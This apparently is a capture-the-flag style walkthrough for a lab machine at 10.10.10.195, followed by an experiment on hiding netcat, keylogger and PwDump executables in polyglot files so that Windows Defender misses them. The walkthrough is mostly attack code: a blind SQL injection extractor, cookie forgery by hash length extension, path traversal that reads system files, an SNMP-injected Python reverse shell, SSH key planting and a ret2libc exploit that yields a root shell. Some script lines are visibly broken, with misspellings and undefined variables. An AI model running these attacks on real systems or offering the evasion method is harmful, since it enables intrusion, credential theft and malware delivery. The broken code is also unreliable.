
Every time we send a message with a different letter the answer is always “OK”, except with “f”, it seems that “f” is the first letter of admin’s secret… But we have to automate this or we risk to become stupid. I wrote a very little python script to achieve that:

#!/usr/bin/env python3

import sys
import requests
import string

URL      = "http://10.10.10.195"
ENDPOINT = URL + "/submitmessage"
COOKIE   = {"auth": "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.sM+sPFosMol5cXEvchIHoXtiHyMgg1UmsPiSX8lzgLc=" }

## We need to retrieve admin's secret
# >> echo $COOKIE | cut -d "." -f 1 | base64 -d
# username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
# >> echo $SECRET | wc -c
# 65
## Which is 65 alnum char lenght

def test(payload):
    response = requests.post(ENDPOINT, data = { "message" : payload }, cookies = COOKIE )
    return response.text

adminsecret = ""
for cnt in range(1,66):
    stop = False
    for letter in string.ascii_lowercase + string.digits:
        if stop:
            break
        payload = f"' AND (select CASE WHEN ( (SELECT hex(substr(secret,{cnt},1)) FROM users WHERE role=1) = hex('{letter}') ) then match(1,1) END ))--"
        resp = test(payload)
        if 'unable' in resp:
            adminsecret += letter
            if len(payload) == 64:
                print(f"[+] Finished, admin secret is:\n{adminsecret}")
                sys.exit(0)
            stop = True
    print(f"[+] Found new letter, updated secret: {adminsecret}")

The result was good:

The admin’s secret is:

f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105

Apparently, there is a thing called hash length attack, which take advantage of the hash padding that prepends a secret value to the data before hashing… It is really cool, look at this article and this tool. You can use the tool this way in python:

#!/usr/bin/env python3

from base64 import b64decode, b64encode
import os, hashpumpy, binascii, requests

ADMIN_SESSION = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
URL           = "http://10.10.10.195"
ENDPOINT      = URL + "/admin"

def get_cookie():
    session = requests.Session()
    session.post(URL + "/postlogin", data = {"username": "guest", "password": "guest"})
    return session.cookies["auth"]

( b64_data, b64_signature ) = get_cookie().split(".")
guest_data = b64decode(b64_data)
guest_sign = b64decode(b64_signature)

# We know the key length is between 8 and 15
for i in range(7, 16):
    (digest, message) = hashpumpy.hashpump(guest_sign.hex(), guest_data, ADMIN_SESSION, i) 
    admincookie = b64encode(message).decode("utf-8") + "." + b64encode(binascii.unhexlify(digest)).decode('utf-8')
    req = requests.get(ENDPOINT, cookies = { "auth" : admincookie } )     
    if req.status_code != 403:
        print(f"[+] FOUND: {admincookie}")
        exit(0)

print(f"[+] Not found :(")

Editing the cookie in our browser will give us access as admin! Yay! Now we can use those sweet Flask routes that we were unable to use before, such as:

Let’s curl a little:

curl -X POST --cookie "$ADMIN_COOKIE" --data "logfile=../../../../../etc/passwd" "http://10.10.10.195/admin/log/view"
...
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
user:x:1000:1000:user:/home/user:/bin/bash
web:x:1001:1001:::/bin/false
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
...

A good old LFI reveals a user named Debian-snmp, after some research on “SNMP”, and after getting to know that it is a network layer protocol with some configuration files and custom commands, and knowing that we can inject and trigger some commands knowing a certain security string. That security string is saved in the config files… So, let’s access them with:

curl -X POST --cookie "$ADMIN_COOKIE" --data "logfile=../../../../../etc/snmp/snmpd.conf" "http:
//10.10.10.195/admin/log/view"

Getting our beautiful rwcommunity string: “SuP3RPrivCom90”.

Then, start listening with nc and we can prepare our payload and add it to snmp following this article:

# Check if nc is installed
curl -s -X POST --cookie "$ADMIN_COOKIE" --data "logdir=../../../../../bin" "http://10.10.10.195/admin/log/dir" | grep -o "'nc'"
# Create command call
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."lolz"'  = createAndGo 'nsExtendCommand."lolz"' = /usr/bin/pyhton3 'nsExtendArgs."lolz"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.89\",9003));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"'
# Reset SNMP to trigger the injected payload
snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects

This lands us a shell as Debian-snmp. Download the files from /home/user and start to analyze them, you’ll notice that the executable operates on port 5001 on localhost, so why don’t we establish an ssh tunnel to be more comfortable?

# Generate ssh key
ssh-keygen -b 2048 -t ed25519 -f ./key -q -N "" -C ""
# Put the key on the server
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."lolz"'  = createAndGo 'nsExtendCommand."lolz"' = /bin/bash 'nsExtendArgs."lolz"' = "-c 'echo ${KEY} >> ~/.ssh/authorized_keys'" && snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
# Launch local port forwarding
ssh Debian-snmp@10.10.10.195 -i key -N -L 5001:127.0.0.1:5001 -v

Using gdb on the binary file, and running info proc mappings:

We see that libc-2.32.so is loaded, and since there are countermeasures for buffer overflows, and since the stack canary is enabled, it is time for a return to libc attack. To do so, we need to make the program to return, after the executed function, to the system system call indexed in the libc library, which is libc-2.27.so on the box. We can retrieve that version with:

# On victim
locate libc | grep "\.so$"
cp <libc> /tmp && cd /tmp
python3 -m http.server
# On attacker
wget "http://10.10.10.195:8000/<libc>"

Then, we have to execute the ret2libc attack knowing the offset of the system call on the exact version of libc. To do so, we need (with an active ssh tunnel):

from pwd import *

# Define basic variables and files location (to get some offsets)
HOST = "127.0.0.1"
PORT = 5001
LIBC = "./libc-2.27.so"
EXEC = "./note_server"

# https://pwntools.readthedocs.io/en/stable/context.html
context(os="linux", arch="amd64")
# https://pwntools.readthedocs.io/en/stable/tubes.html
con = remote(HOST,PORT)

def deliv(data):
	con.send(p8(1))
	con.send(p8(len(data)))
	con.send(data)

def write_to(val=0):
	if val == None:
		val = len(app_len)
	while val < 1024:
		app_len = min(255, 1024 - val)
		app_data = cyclic(app_len)
		deliv(app_data)
		val += app_len


def copy_to(offset, size):
	con.send(p8(2))
	con.send(p16(offset))
	con.send(p8(size))


def read_notes(size=0):
	if size == None:
		con.send(p8(3))
		data = con.recvall()
	else:
		con.send(p8(3))
		data = con.recv(size)
	return data


def rop(can, rbp, ropp):
	padding = p64(0x4141) + p64(can) + p64(rbp) + ropp.chain()
	deliv(padding)
	write_to(val=len(padding))
	copy_to(offset=0, size=len(padding))
	f = read_notes(1024 + len(padding))
	return f


# Fill the buffer and read the stack
write_to()
# Use binary function to read notes from offset
copy_to(1024, 32)
# Read notes from the end of the buffer
data = read_notes(1056)[1024:]

# Address of the canary
canary = u64(data[8:16])
# Pointer for current stack frame 
rbp = u64(data[16:24])
# Pointer for next instruction
rip = u64(data[24:])

libc_call_address = rip - 0xf54 #address libc exit(0)

# https://pwntools.readthedocs.io/en/stable/elf/elf.html
efi = ELF(EXEC, checksec=False)
efi.address = libc_call_address 

# Return Oriented Programming
# https://pwntools.readthedocs.io/en/stable/rop/rop.html
ropp = ROP(efi) 
ropp.write(4, efi.got['write'])

# Enstablish a new connection
con = remote(host, port)
rop(can, rbp, ropping)
libc_address = u64(con.recv(8))


efi2 = ELF(LIBC, checksec=False)
efi2.address = libcc - efi2.symbols['write']

# Return Oriented Programming
# https://pwntools.readthedocs.io/en/stable/rop/rop.html
rop2 = ROP(efi2)
rop2.dup2(4, 0)
rop2.dup2(4, 1)

# Check the offset of the system call
rop2.execve(next(efi2.search(b"/bin/sh\x00")), 0, 0)

# Enstablish the last connection
con = remote(host, port)
rop(can, rbp, ropp=rop2)
# Make it interactive because we returned to /bin/sh as root!
con.interactive()

To get more info about the library, refer to the documentation. And profit, but damn, it was Intense…

Then, I was interested in seeing if antivirus software could detect an instance of binary polyglots in a Windows system.

So I generated 8 binaries (.7z, .arj, .iso, .pcap, .pdf, .rar, .tar, .zip) to combine with 4 generally considered malicious by antiviruses: (nc.exe, klogger.exe, plink64.exe and PwDump.exe), then I ran mitra.py combining every exe with every generic binary. The final set of test files was ready, and the great MS Windows Defender warm and in position.

Initially, I copied just the original exe files, and Windows Defender managed to detect (and with some delay, automatically delete) all threats! Kudos… I guess.

Then, I copied all of the polyglots and ran a full scan on the folder. Here’s the results:

Out of 44 combinations (including the original exe files), these 19 survived! Given that plink64 is not seen by Windows Defender as a big enough threat to automatically remove it. Let’s see what our beautiful tool says about these files with a full scan.

It actually managed to detect them as a Trojan! Let’s delete the busted binaries, plink64 files (which aren’t necessary a threat) and run the test again:

Unfortunately, we are busted again (I renamed nc.exe.pdf to nc.exe for testing). Even if nc.exe.arj was not in the folder, I deleted every busted file and ran a new test. Now it’s definitive:

Here they are… the survivors:

It was fun and educational. Thanks to LiveOverflow and Ange Albertini for the research and developing of mitra.